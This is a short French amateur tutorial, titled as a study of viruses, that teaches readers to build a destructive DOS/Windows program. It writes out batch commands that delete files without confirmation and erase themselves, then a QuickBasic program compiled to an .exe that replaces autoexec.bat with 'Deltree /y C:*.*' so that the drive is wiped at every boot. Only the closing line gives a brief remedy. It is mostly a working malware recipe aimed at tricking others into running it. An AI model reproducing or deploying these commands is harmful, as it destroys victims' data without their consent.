Etude d'un virus - 1/1

Comment faire un virus pour mieux les combattre. Pour combattre les virus et leur échapper, il faut savoir comment ils sont faits. Je vais donc vous montrer comment faire vous-même le virus le plus simple du monde.

Connaissez vous les fichiers qui ont comme extension .Bat ? Non ? Ce sont des petits fichiers qui ont comme icône un petit engrenage. A l'origine, ils ont été crées pour simplifier l'utilisation de Windows. Lancez une recherche et dans la case nommée, vous tapez *.bat ce qui veux dire tous les .Bat . Vous verrez que (seulement si vous pouvez voir les fichiers cachés) il y en a pas mal mais surtout ne les lancez pas. Ces petits fichiers peuvent détruire un fichier. Exemple : Ouvrez l'éditeur de texte, tapez y n'importe quoi puis enregistrez le sous C : et nommez le Test.txt et fermez l'éditeur de texte. Maintenant réouvrez le puis tapez y « Deltree C:\Test.txt » et enregistrez le sous C : et nommez le Detruit.bat et fermez l'éditeur de texte. Normalement, Detruit.bat a l'icône d'un .Bat sinon c'est qu'après .bat il y a .txt alors dans ce cas, vous devez supprimer .txt . Maintenant, lancez le .Bat . Une fenêtre noire doit s'ouvrir et doit afficher :
C:\>Deltree C:\Test.txt
Effacer le fichier « C:\Test.txt » ? [on]

Alors là, on tape « o » et la fenêtre affiche :
Suppression de C:\Test.txt...
Et en effet, notre fichier Text.txt à bien disparut. Mais cela n'est pas intéressant car il nous demande une confirmation donc nous allons changer le contenu de notre .Bat mais nous avons vu que lorsqu'on clique dessus, il se lance alors on clique droit dessus et on sélectionne Edition (ou Modifier selon les ordinateurs). Et nous allons remplacer tout le contenu par :
« Deltree /y C:\Test.txt » et là si vous le relancez, vous verrez qu'il ne demande plus de confirmation. Nous pouvons même rajouter « Deltree /y C:\ Detruit.bat » comme cela il ne restera pas de trace.

Mais personne ne cliquera sur votre .Bat Il faudrait quelque chose qui le transforme en .Exe ou un .Exe qui le fabrique. Le premier n'existe pas mais le second est possible. Nous pouvons le fabriquer avec QuickBasic et le mettre à la place de Autoexec.bat qui se lance à chaque démarrage de l'ordinateur avant même Windows, c'est fantastique !
Il vous faut QuickBasic.
Il ne s'installe pas, vous dézippez tout dans un même répertoire et vous lancez Qbx.exe puis si une fenêtre paramètres s'ouvre, vous cliquez sur OK, vous devriez arriver dans une fenêtre dos (plein écran c'est mieux) de couleur bleue. Là vous tapez:
« n$= « C:\autoexec.bat »
Open n$ for output as #1
Print # 1 « Deltree /y C:*.* »
Close »
Ce qui signifie que l'on crée un fichier nommé Autoexec.Bat (en fait on le remplace) et on met dedans Deltree /y C:*.* , en gros, on formatte de Disque Dur. Donc pour faire un .Exe on va dans la rubrique Run puis Make an Exe file. Mais Il faut enregistrer avant. Et voila, vous avez votre virus.
Donc pour parer à ce virus il suffit de démarrer en mode Dos et de taper Deltree C:\autoexec.bat et à la demande de confirmation, on valide.